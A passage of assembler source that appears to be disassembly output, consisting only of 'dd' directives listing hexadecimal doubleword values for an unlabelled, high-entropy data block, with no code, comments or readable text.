		dd 0F87CD8A6h, 2D20D02Ch, 8000F3EAh, 0FA44CD59h, 0CE812A28h
		dd 0D8AF6E41h, 0F087F2Ah, 7E08E759h, 0B5608FE4h, 0EB801CE4h
		dd 3FE218F1h, 469708EDh, 480DE526h, 71BEF740h, 0AAD2007Bh
		dd 0D721ABD8h, 62000238h, 0E95134B7h, 44584CCh,	0D9C0C355h
		dd 8028A2D6h, 23B9A0E4h, 19376067h, 28D617Bh, 74341926h
		dd 8F3FDC08h, 0DF26286Bh, 0C40341CEh, 0A0ED7457h, 6584C077h
		dd 24D75C10h, 83FF2380h, 1C281AC4h, 9BE8BD9Ch, 6B871909h
		dd 2920169Fh, 12C843EEh, 0F10420CAh, 6B68292Eh,	9400D0B1h
		dd 36594599h, 30FF1137h, 9DE5047Dh, 68D06E5Ch, 640CD46h
		dd 0F4A17545h, 35051C9h, 8324E2B5h, 7A3C6D50h, 371180F9h
		dd 138853Eh, 739E0AE1h,	453036DBh, 2AC0C8DEh, 944E48A8h
		dd 16EDF307h, 0C902A5A1h, 9151207Ah, 0F122CEEh,	30458B65h
		dd 78C8CA81h, 6C540FACh, 0EB801C50h, 0B0EFF301h, 0D68C6D03h
		dd 2A68C7h, 45155529h, 0DA39ABD0h, 0F4B75428h, 0E8A883E8h
		dd 46001D5Ah, 309424AFh, 20B853h, 8F83737Ch, 687254F8h
		dd 96497A18h, 15370B30h, 94598B1Eh, 0F2C59504h,	0D2ED80CFh
		dd 5A64D07Ah, 890A408h,	6F37994h, 62460D7Bh, 1C3AF977h
		dd 3A2381F0h, 0B0DBFFC8h, 8B8A702Ch, 38215660h,	41D09FDEh
		dd 0F6F7B2CEh, 4F5081EEh, 1E606455h, 30170030h,	2118FEBFh
		dd 0C8D23D98h, 35617800h, 0EE7A69h, 9CA7CBF6h, 0FAEB43BCh
		dd 5F0CE400h, 5BBB5425h, 77A2009Ah, 4134B378h, 50737357h
		dd 54527007h, 0AEB04BB9h, 1013AAh, 8C61164h, 409DFD8Dh
		dd 0BF03C000h, 6DE68933h, 9C3900F6h, 7C2816F1h,	5E009F7Ah
		dd 3CE4CB3Ah, 0FEBD4904h, 0F6F000B6h, 0AAA6D233h, 9E1D4BFAh
		dd 9EFA3E2Fh, 45DD1023h, 5228E00h, 1DBF6h, 4EC0FAE9h, 5255FD5Fh
		dd 0A8738000h, 20C9F79Dh, 0E6830747h, 808918CBh, 990338AEh
		dd 5106721Fh, 10809A1Fh, 646C8AB2h, 0ECA01987h,	4B011104h
		dd 451A0704h, 0FDC06BB6h, 6DE209h, 74493C04h, 0CDBD41EFh
		dd 241A2807h, 0C500ED5Eh, 1D4488h, 94C0FF11h, 0F3E11F43h
		dd 1233Ch, 270D3C79h, 3958CEAh,	4AFD7CD9h, 1498987Fh, 0AF006FD0h
		dd 86595620h, 0F8CBACDh, 3AFFEBA7h, 3DC0E3EFh, 0D1C5AABh
		dd 0C676CB0Bh, 0D862803Fh, 54EA2Bh, 5A4728E0h, 0E44C7325h
		dd 0F000690h, 4E40A1BDh, 0B04466h, 5386260Dh, 2406F80Bh
		dd 33AA5C00h, 42E2A50Fh, 0B792007Eh, 0F30ECCA9h, 1900BBCFh
		dd 78ABAD17h, 6E69753h,	2B384668h, 0D7001079h, 247A8A61h
		dd 0A647EEh, 0C54291D6h, 545EC36h, 14195F06h, 58BEB2h
		dd 3CE222B3h, 5A119D09h, 0FDA86C00h, 2DD4AECAh,	7D4624D2h
		dd 650500FBh, 0B86751B2h, 5A45D51Ch, 6BB01F9h, 9F4F9D2Fh
		dd 47E1CC8h, 0BE40A7BFh, 69B68094h, 0E2009979h,	0B6EDCC9Ch
		dd 1FACFB3Bh, 0C1F50C82h, 0F9AF4398h, 277DCC0Dh, 0BE1C9BE0h
		dd 0A843D76Ch, 0A3332912h, 9755C0DFh, 40DD006Ah, 7E73C971h
		dd 2F148AD4h, 0A413C2h,	6E256407h, 0F1BB8BEh, 72039208h
		dd 0E008894h, 965DEA50h, 61000438h, 0CAB7C20Dh,	59ABE3Ch
		dd 0E251A24h, 0F6CB00FDh, 12026899h, 0A5804Ch, 0F0F1CD55h
		dd 98AAC2C7h, 7C861F50h, 4D2B4046h, 7469D5AEh, 91734Ch
		dd 0B5245A63h, 0FF6E571h, 0F279106Eh, 0EF60F14Eh, 44E8EC5Bh
		dd 0C9EA4C00h, 0A9407681h, 26C8017Bh, 854F5950h, 56FBE4FAh
		dd 97332772h, 97BC4043h, 5E9B6060h, 5C0FE6C1h, 2F380B37h
		dd 7F2A4E80h, 0A1E3117Dh, 99418D07h, 0DC27B2CDh, 347F790h
		dd 29640595h, 0C871EFh,	1CDAD8F8h, 2A0033FEh, 39D5C687h
		dd 97E58F3h, 0CD816B09h, 36358Ah, 0C05F622Dh, 57006C89h
		dd 0B5345023h, 0E682681Fh, 0E5DC004Dh, 81A03D6Ah, 0D80E800Fh
		dd 20237543h, 0CD52DCAh, 2FB1189Bh, 0AD9A78B6h,	580A1500h
		dd 46F27491h, 7F2000EAh, 4CDF9671h, 0E605C9A2h,	0B7240BADh
		dd 414F800Fh, 0B6EB5A42h, 9A901080h, 4D78CB27h,	0FD002E70h
		dd 0C41D1EAAh, 451247h,	10896CBBh, 0E07E26BDh, 0B134F0E3h
		dd 0B7C1A700h, 0DEF2B1Ah, 0DF0B019Dh, 602ED8DBh, 29283402h
		dd 0A8279000h, 0B6B3D05Ch, 8FF297h, 0BF21A381h,	31BA4150h
		dd 1DA67F38h, 0E4C0A9C4h, 39EC0FACh, 83840EF5h,	9C0EE3Fh
		dd 67B4C42Dh, 2CFB3C18h, 38B6B8h, 0E2E68634h, 195C1307h
		dd 0C220BD00h, 0F17DBB5Dh, 0C4B70393h, 6579270Eh, 0DC97C5F0h
		dd 5B85D400h, 0A653992Ch, 0AFD90C92h, 20A6CE8Bh, 0FD1E4AFAh
		dd 26F99426h, 9C011980h, 77023D8h, 418EF8h, 0E90EEF4Eh
		dd 45D2272Eh, 0F2CF6001h, 8B68B14Fh, 0EE902080h, 2DD78451h
		dd 463BCE00h, 0BC118053h, 4565806Ah, 0C738C309h, 3A78002Dh
		dd 4C43B340h, 0D62A5066h, 851E0088h, 8701599Ch,	0B500DB28h
		dd 0F5CDEAD7h, 0D85B4Eh, 93D38C7Bh, 0B667110Eh,	98CCC100h
		dd 8F0F73EFh, 7A03912h,	72641B80h, 359E3D41h, 0BF023090h
		dd 2982E6Eh, 8D5DC0EEh,	6730010Eh, 7BB7CE4Fh, 3E0AC0F0h
		dd 686F3F00h, 0DE9FDDF1h, 0E2DFACCh, 0F4D72E54h, 110519C0h
		dd 0C70FC273h, 40EA63B4h, 9322F3DBh, 7ED000FFh,	0CAF782C0h
		dd 49005569h, 8610D976h, 1B864BCh, 0DD9B99CEh, 308130E9h
		dd 4800CBECh, 9015B538h, 1F66E3Ch, 0FA940C54h, 0F8F583A5h
		dd 560E196Dh, 4012EE93h, 0B814D40Dh, 0EA99004Eh, 6D265A7h
		dd 94189B76h, 0B72A8F92h, 5C90079h, 0CB0CE369h,	0AE0FA93Eh
		dd 60308391h, 5F107FE8h, 0FE2890ABh, 85BA2E65h,	61DD0016h
		dd 0E192F38Eh, 0A5670C00h, 5B027433h, 0CD0A0056h, 0F3655CF4h
		dd 661F533Bh, 0C8005E5h, 0A7D8ADF6h, 0E05E0061h, 0EFC48E85h
		dd 709BB17h, 8412DA1Ch,	548096B8h, 0B04F4EA1h, 129976BCh
		dd 6AB304h, 38AA3F90h, 704C9B49h, 160707FBh, 8DE00ED8h
		dd 2CED8173h, 92D835Eh,	0C20F33Eh, 0AF5405DAh, 7C2CC900h
		dd 62FB95E0h, 9FF7186Ch, 30A6C0DCh, 79AB7300h, 76252B07h
		dd 6AF5588Ch, 0F0639D0Fh, 7A0525Fh, 0D038DBE8h,	981B3C39h
		dd 1E48FE00h, 128BE4Bh,	0D779015Dh, 2A560677h, 8CF8300Eh
		dd 0B0D8971Eh, 2C03FE00h, 1D492A9h, 368D6220h, 0C83821F1h
		dd 0DE7A49F9h, 69AC1B00h, 44AB87AEh, 5DD20091h,	27E84118h
		dd 0A5757BDBh, 43E7C00Bh, 447D00DAh, 61E053h, 65D0A6D7h
		dd 0A37F127h, 6076C207h, 8B19B4h, 45E14154h, 2890EFh, 0A93C50BBh
		dd 36BF9895h, 0D9C02E00h, 3A5AA618h, 22F4004Fh,	6A15E601h
		dd 8302F90h, 785B926Bh,	0A26302B9h, 94B759BCh, 0DBEDD0A0h
		dd 0D40FEA6Ah, 83525DB8h, 0D280A1C2h, 0C8A8E0E5h, 5B8F0571h
		dd 0C716B8C6h, 0FF85A9D3h, 0D505FB54h, 98808A98h, 79AD4DD3h
		dd 0BC440F71h, 0D560B120h, 96745E51h, 0D8D84Ch,	725C7EEDh
		dd 50476429h, 7B13C09h,	8F1A1DBh, 3145E0A0h, 0CB017151h
		dd 7F696A9Dh, 0D3DCB573h, 89091h, 0DC5324DFh, 82EB2963h
		dd 0CC8D5E00h, 0CBF49D99h, 25E73FC5h, 2E1DA8DCh, 476DC02Ch
		dd 0E43EF2EAh, 722D7A04h, 8EC0928Fh, 7BC78B7h, 93CAA2FBh
		dd 26540C2h, 64031229h,	53CE942Ch, 68E2D09Eh, 0CD4027Fh
		dd 0D1BF4916h, 9A6E880h, 260096DCh, 8E37D287h, 9099A5D3h
		dd 170C1D34h, 3CE3C08Fh, 283EDB80h, 26D6141Ah, 6D94819Ch
		dd 4020FDEEh, 8BF50798h, 0AF6268h, 0B38477B9h, 55761700h
		dd 5740254Ch, 0B1A5004Dh, 31CF56C7h, 0E0C0F61Bh, 0C3296654h
		dd 0EB8CA07Eh, 6E480037h, 0FEA1515Eh, 82004CD3h, 65B2098Ah
		dd 0EEDDA9Dh, 0FA590C55h, 7453F980h, 0AA04E1E2h, 6B9C4650h
		dd 1F9E0881h, 62C0D0h, 6D4D2355h, 5B1C0FB9h, 4B018177h
		dd 0D95468DCh, 38FCA021h, 42B0181Dh, 0E48A90C5h, 0B296EA01h
		dd 60E10601h, 0C01B309Fh, 35E7EE95h, 0F0030718h, 5E0261ADh
		dd 7C3CA0FDh, 0B1441DBDh, 2E97096Bh, 0C66C87h, 0BC837786h
		dd 0FD87C539h, 0F3376C01h, 73AFE9BEh, 0A8001029h, 430FAA5Eh
		dd 365C1598h, 0B89D0070h, 398BD64Fh, 0CD930235h, 0D0A7F1E8h
		dd 0F24EDC80h, 580E0C85h, 80A31DF7h, 0CA436CD4h, 0E3733FB7h
		dd 44F8A680h, 4269AA5h,	4C46CF00h, 0C06CF7DCh, 0E0E801C9h
		dd 0E58A5C86h, 0A302D4F3h, 8070873Dh, 0BC5BF12Bh, 94CFA5h
		dd 0F2DA97DDh, 8C7CE588h, 9DEBB200h, 0A8A7CA4Ch, 0CF94038Bh
		dd 930AAFFBh, 3421F580h, 352E4B01h, 0EB9046A4h,	6F64CCh
		dd 0D3BA3F69h, 0E80B7DB5h, 4D8BF412h, 0F17D109h, 0D1CC203Ah
		dd 3E5A39Fh, 0C15CDAA1h, 2598BA05h, 3602DFD8h, 5FCC1969h
		dd 84E430h, 1F319B2Ch, 61451E0h, 9DC69A0Ah, 0C50FFF92h
		dd 16458769h, 33AF180h,	38DD3911h, 9C474000h, 46792AE1h
		dd 0C0BFB900h, 8CE8F4A1h, 1950006Eh, 0F8310215h, 0E1EDD87Fh
		dd 2AE270A9h, 2F0087E8h, 99F7F23Ch, 0EEC874F0h,	68E16134h
		dd 325E193Ah, 0A0B80828h, 3C1F8082h, 0E0D5C66Bh, 0AFDFE700h
		dd 165242Ch, 92262498h,	0F1B0084h, 6BADB788h, 9C97FB00h
		dd 59F08FDBh, 0B47501BBh, 0B3A96549h, 80E3E11Ah, 47351032h
		dd 0F1BA87h, 0B0EA883Dh, 0B555C40Dh, 5861B25Ch,	2CFF0100h
		dd 5B748DDAh, 943FCCh, 0CF1E1295h, 4E81F6D4h, 64E4CD01h
		dd 6306ED2Ah, 1B37FE4h,	828D6C23h, 4DD980FEh, 28793010h
		dd 0B212C270h, 0AC01BD8Ah, 0A0F34A93h, 120CF430h, 40A24157h
		dd 120F0DB4h, 5200E1A6h, 0CEDEC303h, 3A1DD6E0h,	60CCBAFBh
		dd 0BD140A07h, 0BBF2F015h, 23006546h, 0E6800660h, 0F78FABh
		dd 7ABA0F1Ah, 0B96227A1h, 85DED400h, 0C49DD2Bh,	3B3A07A7h
		dd 57906B61h, 0A3405FC5h, 772C52EFh, 0D63F1700h, 0F068576Eh
		dd 0A6E2DAh, 0F8785F9Eh, 0CF302F42h, 0EA00F4E4h, 84D7E173h
		dd 62646h, 413C04F9h, 0F6B55BBDh, 5F829F05h, 658112BAh
		dd 0EFFC0A3Ah, 255639F4h, 0F3D78B07h, 2E5120D0h, 813EC96Ah
		dd 86FB82F1h, 80F5C013h, 0D229B80h, 6E4E3977h, 0EBB6C9Fh
		dd 0D2207F63h, 88F47674h, 0A1E63103h, 9A21C47Bh, 112DE54h
		dd 0E4FA9542h, 1885EC20h, 9B00C87Ah, 0BE4A24F8h, 8BB3ABh
		dd 7D0B5E9Fh, 69088054h, 0B8EFE700h, 1204F6A4h,	11A200E5h
		dd 0BD353359h, 0AD24601Ch, 0AF0380A3h, 0A0C7B891h, 58CC5Fh
		dd 87FA01F9h, 4D2CCB12h, 0B849C41Fh, 0F859C0C0h, 2B1068h
		dd 7FF92964h, 92C6FFBDh, 62837500h, 76E49C04h, 0F3630036h
		dd 6F6C8AABh, 6D0C98FCh, 700A4B6Eh, 7FAB055h, 8EF4F617h
		dd 0A803811Dh, 2826C9AFh, 3FFFC058h, 9E3B7E8Fh,	8E930004h
		dd 4AE3DF85h, 0F2B49900h, 0A6B0D138h, 0F8CE0041h, 3B92319Eh
		dd 273EDE08h, 0B30F80E1h, 4C9A7EEAh, 13C8F84Dh,	3F12CB2h
		dd 5C5169A4h, 0B07910B8h, 28203C03h, 80A48E0Bh,	7B80CCh
		dd 92D34FEh, 2786DE4Ah,	76CA3D00h, 17620330h, 16BF067h
		dd 8F43BED5h, 0C8AC0D9Eh, 4600FF04h, 54CB820Ch,	16865674h
		dd 3D4A762h, 5EB76998h,	85D514A9h, 0F49BF10h, 0F8E09118h
		dd 2DB00B39h, 7807FBC9h, 1A140A7h, 2801ADF3h, 9F986AFCh
		dd 0F3697Ch, 24D5CB30h,	6D23EFE9h, 283A0100h, 0DB073DB8h
		dd 3B830057h, 0A5A90E94h, 6100992Eh, 0EB48E960h, 107830h
		dd 2726C0FFh, 0CA322A8Ah, 0FBEADA00h, 1641DC64h, 0B4C40708h
		dd 7F54AF78h, 8F3CBB60h, 2A005D37h, 91830DEBh, 4CF7A29Dh
		dd 0ED0E0C42h, 0A69E7321h, 0FB93007Ch, 320BC677h, 0CA228300h
		dd 87763155h, 49B21DD4h, 189B0057h, 2892F36Eh, 0FD1E2C75h
		dd 24846305h, 6BC079D2h, 0CF53BEh, 1257252h, 0B2D06FC4h
		dd 3F740B00h, 77903616h, 53270048h, 8D0545BFh, 253E06C2h
		dd 95F480FCh, 0E7A563C1h, 0A1E4005Bh, 0BA19D3E8h, 4E038FE2h
		dd 9390BFD7h, 6E79006Ch, 8293DDEh, 610154B2h, 0E7720668h
		dd 52E82F15h, 0FE1700E6h, 5322F497h, 7F1C6E33h,	0F11E2370h
		dd 2F6D8AC7h, 87982AD0h, 0EEAC03A8h, 0CE1A1553h, 0B2584D88h
		dd 8079F03Ch, 823273D9h, 0D18CBBh, 2D3C899Dh, 54CFAC4Ah
		dd 9B768700h, 0C59264C2h, 0F9AA00B6h, 854FB9BFh, 1C39C695h
		dd 5429244Bh, 0BB476B00h, 1F0149E5h, 0C32B341Dh, 0B5F64B94h
		dd 57FC16E8h, 0D7A26D05h, 0CC0F761h, 3A9CF8h, 97B26A67h
		dd 69941383h, 0B461AC07h, 0EC27214Bh, 60E799C2h, 0E1769F40h
		dd 3DF7CCD0h
		dd 0CE00B009h, 2C2241A8h, 0E8E8FB82h, 0B20D5F00h, 0C8673892h
		dd 960F0073h, 3587A08Fh, 0D90093CFh, 0A81FCD8Eh, 85A9B6h
		dd 0B02813AFh, 45ED7532h, 4200E574h, 4EE1EC52h,	0DD7BE0h
		dd 461BC37Ah, 245AB425h, 0D0530233h, 0F863E077h, 0F32900B8h
		dd 0DE8CC60h, 2F07C557h, 9EEFC1DDh, 5C0EF1F0h, 0E7260063h
		dd 65888EE3h, 0C00F545h, 0CE189934h, 2C930669h,	2A0C2h
		dd 0EF4346D1h, 60F56559h, 0C34CE428h, 2F0100B9h, 4744FFDFh
		dd 295D3F9Fh, 2E590787h, 0A7CE910Fh, 8FF6C41Dh,	80E9893Dh
		dd 0AF752B06h, 4EE6CFh,	0B6D43C76h, 0BD11C19Ch,	34D7ECC0h
		dd 86D6C6h, 0E5C0ADCh, 6D399CD2h, 0E97C0509h, 74A780E8h
		dd 0B266C2h, 8DAFCFE2h,	0A10B7F48h, 246C460Fh, 7695A094h
		dd 0C223D4h, 511CE657h,	5408ACA5h, 724C5005h, 0A5812402h
		dd 49F06378h, 0F089001Dh, 0C5B8E83Ch, 443A32BFh, 8BE2E72h
		dd 0A5FF6700h, 1351A7E5h, 0FA5B2292h, 0FD96E401h, 93C0630Ch
		dd 0CCB30735h, 0EABB01F4h, 0CF2900E4h, 241442DDh, 75610700h
		dd 0E2DA0E56h, 7B200072h, 0F4DC8DE3h, 3A00EA53h, 0E6379406h
		dd 5488B1Eh, 5117101Ah,	0FD3582A1h, 3A60CC60h, 0F79A920Fh
		dd 23CCC055h, 14C1EF4h,	0AC3C73Bh, 30462DC0h, 0D50096F4h
		dd 0F65569A6h, 1E07BC1h, 4D075B27h, 9DF9F880h, 1500AE40h
		dd 9AB99C44h, 0EB8CC7A8h, 0F6CE902Dh, 0F8679D72h, 6EF04628h
		dd 3CD7562Eh, 6702B7ABh, 962783AFh, 2B003452h, 0A9B2DA79h
		dd 3E20D124h, 0B5BEBBC5h, 0CB8EF71Dh, 24004E18h, 35AEE530h
		dd 665A58C0h, 0B6A716h,	4F12560h, 6FF7688Eh, 32F6E500h
		dd 70877B6Bh, 0A6EB0007h, 23EF086h, 0A478527Dh,	0CF57B001h
		dd 0CB16456Fh, 9E92FCh,	0E9D58833h, 0AC6B3495h,	2F8D283Ch
		dd 290C808Bh, 2D1A7E84h, 7AF8AD67h, 0DC0F9E00h,	575F2F45h
		dd 1FC1F6A1h, 0E47F7768h, 0CFC400C1h, 0D365ABC2h, 0A955B11Dh
		dd 5BADBE80h, 0E0528A0Dh, 0F17603C4h, 5377175Ah, 50641050h
		dd 52332400h, 0BF74EA02h, 15AF078Bh, 1B82C14Dh,	2FA754E8h
		dd 79C320E1h, 3009553Dh, 641D18A2h, 644BF04Dh, 75C1154h
		dd 0EA066998h, 0DE401021h, 0CF8A0758h, 2BDF18h,	787E5970h
		dd 7DC50780h, 35094758h, 422C40BDh, 0D63463E4h,	82B67D0Ah
		dd 0B3004885h, 0A4284D27h, 50ED5F2Bh, 0E90194A4h, 74902D33h
		dd 6526F8B7h, 0B300A5E0h, 0CAFFD04Bh, 3B908ECh,	8B90862Eh
		dd 58A8BD8Ch, 0E9FED98Fh, 4F6C3A06h, 0A02789h, 0C0B66AB2h
		dd 4D9C1C2Ah, 0ABA3E519h, 89809608h, 0EC0C5E4h,	2C003ACBh
		dd 4C165159h, 3CCA8B87h, 0EA803978h, 64AC0E01h,	190006E5h
		dd 49AF976Dh, 0C0B1FF44h, 674C61B8h, 0DD057A92h, 582587Ch
		dd 21FD880Ch, 67B4002Eh, 1F511E83h, 0AA044737h,	880A3199h
		dd 748A1888h, 0F1101866h, 478C1159h, 740A601h, 0CE9DC550h
		dd 0D40844DBh, 4F8E1D8Ah, 26C940A6h, 3B2138A0h,	2C649502h
		dd 8CE9ADC1h, 7C8B0h, 5726847Dh, 3309ABECh, 7018FB6Ch
		dd 2F24351h, 74DA64Ah, 10853138h, 0A6528Fh, 7346AAECh
		dd 0BB05B5CAh, 217EA432h, 3E49044h, 0F1780FCDh,	0E7C6B843h
		dd 9450E80Ch, 0DA00B39Ch, 64ABC065h, 0BE7178h, 0CF7E1CE7h
		dd 15F0F363h, 57B12C00h, 3F8E0921h, 3DFEE072h, 7DD8D954h
		dd 0B6FDE600h, 44F884Eh, 0E926B700h, 44DB3F2Fh,	0A6E2A3h
		dd 4B429714h, 153D8799h, 0D3113Bh, 3BC92840h, 9ED996h
		dd 0E7DE1B9Ah, 2B511913h, 0E98B531Ch, 70A810C0h, 0DCE46Ch
		dd 65BE6375h, 335C0C78h, 0A6FE9A0Bh, 6ECA01ACh,	0BDD5049Ch
		dd 0B0F2F5D4h, 5D97038Dh, 8A290758h, 1713E401h,	666B2FB6h
		dd 0FB214886h, 0B7F008BDh, 716DE00h, 58EC3A90h,	8E7A00F2h
		dd 3C41726Ch, 407EBB08h, 14005CE4h, 99A7E6D2h, 0F819BA8Fh
		dd 1830EAC8h, 1CE5FFE0h, 550FFCACh, 233DC3D6h, 98DBBB0Dh
		dd 7F199AFh, 59ACC5CCh,	658F1083h, 0E10043E5h, 0E6609558h
		dd 3C2CB6h, 0B87573F9h,	0C50F774Bh, 356C3000h, 2B17C91Bh
		dd 5D7C0EA4h, 9020143Eh, 5C15B69Bh, 0D2ED3Ah, 0EB6460D7h
		dd 0F1A954h, 0C5D472FDh, 0E1344308h, 0E4FB3Ch, 0E92EF67Ch
		dd 0AC4AA7Ah, 260BC86Ch, 0BDAC00B7h, 34D2BA81h,	39E2380Fh
		dd 8AB0E03Ch, 0D488F3h,	9CE913A6h, 8528761Ch, 9D145F00h
		dd 0F29A88Eh, 0B9F900B6h, 0AEB0E2B1h, 0F0602040h, 0A1D3B10h
		dd 7D167B50h, 0BFCC1F61h, 8480F9F3h, 0C3A0FC1Fh, 0D6713043h
		dd 71AAB401h, 0BF3A0AA6h, 507170h, 9FB7F5A7h, 56E1376Ah
		dd 916DF400h, 9EA5F794h, 63B200F9h, 0ABA6339Ch,	64F4968Bh
		dd 0B06D7006h, 0DC2D14h, 663328E9h, 31A2F17Ch, 2B36800Eh
		dd 0B13A40A0h, 2206D30h, 7B82F7EFh, 0CFC0BA8Ah,	3B3B8B5Dh
		dd 29B4004Fh, 3FAAA60Dh, 0EA194886h, 3C737600h,	46DCCB11h
		dd 0AC065B00h, 2B9041B8h, 4D2A1D71h, 66A880CDh,	0F01FF6A1h
		dd 0A222CB00h, 44BC49BAh, 2B1A0063h, 848E08ABh,	0ED004FE7h
		dd 0D417835Ch, 0B0B4CB9Fh, 74BF0074h, 0BDAF1281h, 0A1000DA7h
		dd 3BB0B1BAh, 0F02923h,	14E2039Ch, 342A47C9h, 0BE49FA00h
		dd 0B1AB166Eh, 0E56D00BDh, 3FA8B933h, 7800AA8Eh, 0A79FA146h
		dd 0DFDC1Fh, 5149CA7Ch,	6404E935h, 0F5F88B07h, 8AF7A778h
		dd 0E0B76D50h, 375C00CAh, 6F5BA66Eh, 2C00DE43h,	5E65ED0Ah
		dd 0B0A88179h, 0D5B22ED4h, 0B1950068h, 0FDE0206Bh, 0A3603C00h
		dd 0E5EB4283h, 74E138D1h, 7CEA4481h, 0D412F89Fh, 0F2012B2Ah
		dd 0A199390Dh, 61F8D798h, 846800D4h, 0E9BE35EEh, 36F4B8B6h
		dd 22E79700h, 0E489514Bh, 0C3DC00BBh, 0B8EA302Fh, 0F300A279h
		dd 0CCCF9A0Bh, 5C3D4D7Ah, 0C101DEC2h, 7B9088B9h, 0B2DEDC7Fh
		dd 2F3CEA09h, 0FDBE8F89h, 69A8DB80h, 365F9h, 5F5B72F2h
		dd 0B9204C51h, 376B5807h, 0E0008E33h, 7AE341FAh, 6ABD00A2h
		dd 0E751623Dh, 1D00AAE6h, 7A4DD5CBh, 1C426h, 339F91B8h
		dd 216D879Eh, 0B200D87Bh, 83F24831h, 9EB2F50h, 0AD3CACE0h
		dd 0D0160B87h, 820896Fh, 0C78DE500h, 4E56B870h,	43FEDFh
		dd 24EE60CAh, 8A26AD5Ah, 9170EC00h, 0BE31EF55h,	5F610080h
		dd 15C19501h, 0B024C49h, 3EF9CBCFh, 4747C0E9h, 667503D2h
		dd 0E63977D4h, 2D24B8E8h, 3AF8C900h, 83303CF3h,	5ED50073h
		dd 853DB36Bh, 0BC01D227h, 0EB8BE875h, 0AED06F26h, 0D8DF0F86h
		dd 8F60D1B9h, 0CBC22DF5h, 574D8D00h, 5B10AC32h,	0B0EEA3Fh
		dd 0F999FEE9h, 5203EF89h, 7AFED027h, 0A953503h,	982DBB6Dh
		dd 1654B02Eh, 0E83771h,	40325652h, 2730C664h, 0B56080ABh
		dd 0AE7F00FAh, 0AD0E0401h, 55009984h, 6F2A3CB3h, 9D75B0h
		dd 9A6CEF67h, 6AF6F892h, 45A75C00h, 7D1D1CF2h, 302D0373h
		dd 3CABF7FEh, 0B9C950A7h, 780305B0h, 0FF2567C7h, 0A8A7A8E4h
		dd 739D5C2Ch, 5D6A017Eh, 776CBA7Eh, 3032D423h, 0AFF5A200h
		dd 99DC6FF2h, 0F1240095h, 3ABEE121h, 351EBD08h,	0AC004806h
		dd 9068E9EAh, 4C2600DFh, 98408DD4h, 0FB2C32B6h,	0C30096C4h
		dd 0FD16604h, 2728300Dh, 1B24C710h, 46B538h, 0A8E2355Bh
		dd 1CBCDF45h, 0C131AD15h, 1D9A418Eh, 10BFF03Dh,	57F6000h
		dd 2954AFAAh, 75CA0052h, 536CF955h, 9F00577Bh, 0F26BE401h
		dd 0A0A4B4F0h, 1F17F9h,	944BE08Ah, 0D6B21A2Dh, 26D9D800h
		dd 0EB3DF9A9h, 0C078A4h, 8FF8E9C7h, 0DC7F9497h,	84247900h
		dd 1693C939h, 6F550F89h
		dd 0FE8054E7h, 0EDB01B7Ah, 96216E00h, 0E519D10Ch, 34720387h
		dd 9AA52F4h, 0FC2EABC9h, 0C3B3A25h, 1B70807Eh, 0FBA67630h
		dd 619F00A3h, 891F7B28h, 0AF0014E3h, 87F60EC8h,	92801Eh
		dd 1B420967h, 0EBE1CAEEh, 70D1FB00h, 0A4D0DF2Ch, 0EDA90E15h
		dd 252059B4h, 0CF80AC2Fh, 0C795C5Ch, 3845D816h,	8B631F0Eh
		dd 40A01D1h, 8E48AC25h,	0C05E8218h, 1993BF9Ah, 0A17700D5h
		dd 8F98CCB7h, 72C1A96h,	4A00C2B4h, 20AD2DA3h, 660A00DDh
		dd 0F5DCE934h, 79004F3Ch, 26FE4B40h, 997F6Bh, 0B8CB875Ah
		dd 92AAC281h, 4433AB03h, 9047DE38h, 0F7FC7377h,	0E60B86FCh
		dd 3E580006h, 89D49E46h, 0E9F0B029h, 0FAEBE31Eh, 1AC9F801h
		dd 0F2C8CDA7h, 0C32C0060h, 0B3B81695h, 0FB00648Ch, 4D468371h
		dd 0CDED09Eh, 0C75E6CD5h, 0CE003828h, 9F3969E7h, 7FE8E68Ch
		dd 61CD0066h, 808B6813h, 420CAE54h, 4026BAF4h, 0F080193h
		dd 84175A7Fh, 8EA7F0D8h, 6D4CF407h, 50813145h, 1E701AC4h
		dd 0E4C624B2h, 0A2668h,	4D294A7h, 551C9E98h, 0A5079B6Ch
		dd 0F5B05A57h, 0F6961817h, 0B22C007Fh, 7F769DDh, 0C4009C2Ah
		dd 755AC872h, 0BF4256h,	0E978747Fh, 19D8598Ah, 0A609CE00h
		dd 49DC26B8h, 2405009Fh, 59778D13h, 6C00E92Ah, 0C92F6490h
		dd 1E41AEh, 9E876F8Ch, 34BE430Eh, 0D57F441Ch, 0A84C1807h
		dd 0DF89D1D0h, 79770031h, 0C8F0FF80h, 0AC008BF3h, 375FD962h
		dd 1BC22A3h, 1A3F7D05h,	40515844h, 30F88284h, 806CC7Dh
		dd 50E43786h, 0C3EE0018h, 9BB12988h, 0D17840DAh, 1CBFD303h
		dd 0E8CC5E41h, 0B52E05h, 47C67D0Eh, 3BF8676Fh, 22ABB10Fh
		dd 0A8CABBD0h, 97CB26h,	72C296C0h, 1C64126Ch, 4B506A7Eh
		dd 0FE0CC39Ch, 79B187EBh, 0C88D00B4h, 0DCA8CEA9h, 0F000DF3Ch
		dd 0B778733Bh, 3CAC16F8h, 482663D6h, 554B07C8h,	0FAE310E8h
		dd 0D300E02Ah, 579D6F23h, 3E950EBBh, 4214C098h,	6000DAE9h
		dd 48E63C5Dh, 0D0000139h, 930D6FA1h, 0A8D235h, 7BB4179Ch
		dd 1F6D34F2h, 2BBFF501h, 456F9241h, 0D0E78443h,	0EBDA57h
		dd 0D2C4F2A3h, 4DFD4388h, 0B978DC72h, 0E82E48h,	0A52F92FBh
		dd 8F76CBh, 9A2BDF54h, 35154B43h, 8A93C1Eh, 28818297h
		dd 0F0DF6AF8h, 0BFE5CC41h, 2B50EBD0h, 1800A6C1h, 604074A4h
		dd 74FB1DF2h, 0D82000E1h, 94813FF7h, 0A1FA2D82h, 55C08000h
		dd 6CA5A392h, 915B00CFh, 0E00E18E7h, 6200F82Ah,	64B80B73h
		dd 59A49Dh, 0EFBBF7F4h,	0ACA7C0ECh, 8008753Ah, 8DFE3EF1h
		dd 1DA5A419h, 40A23F68h, 82E556F8h, 0C30341DBh,	84343C01h
		dd 0A9C4E0F9h, 1563070Ah, 0F08CC16Eh, 0DB03F1ECh, 8453FF0Fh
		dd 0BB79E0D9h, 60212E5Dh, 186D42D0h, 9800F1F4h,	0A8DFFCE9h
		dd 712AB965h, 0EDB6308Eh, 36F76810h, 690045F2h,	6AA07375h
		dd 60635688h, 7D0420DEh, 871FF8B4h, 37005DB6h, 62913C43h
		dd 0E2DC0039h, 0DF6582EFh, 540047F3h, 74783B15h, 0B00358CCh
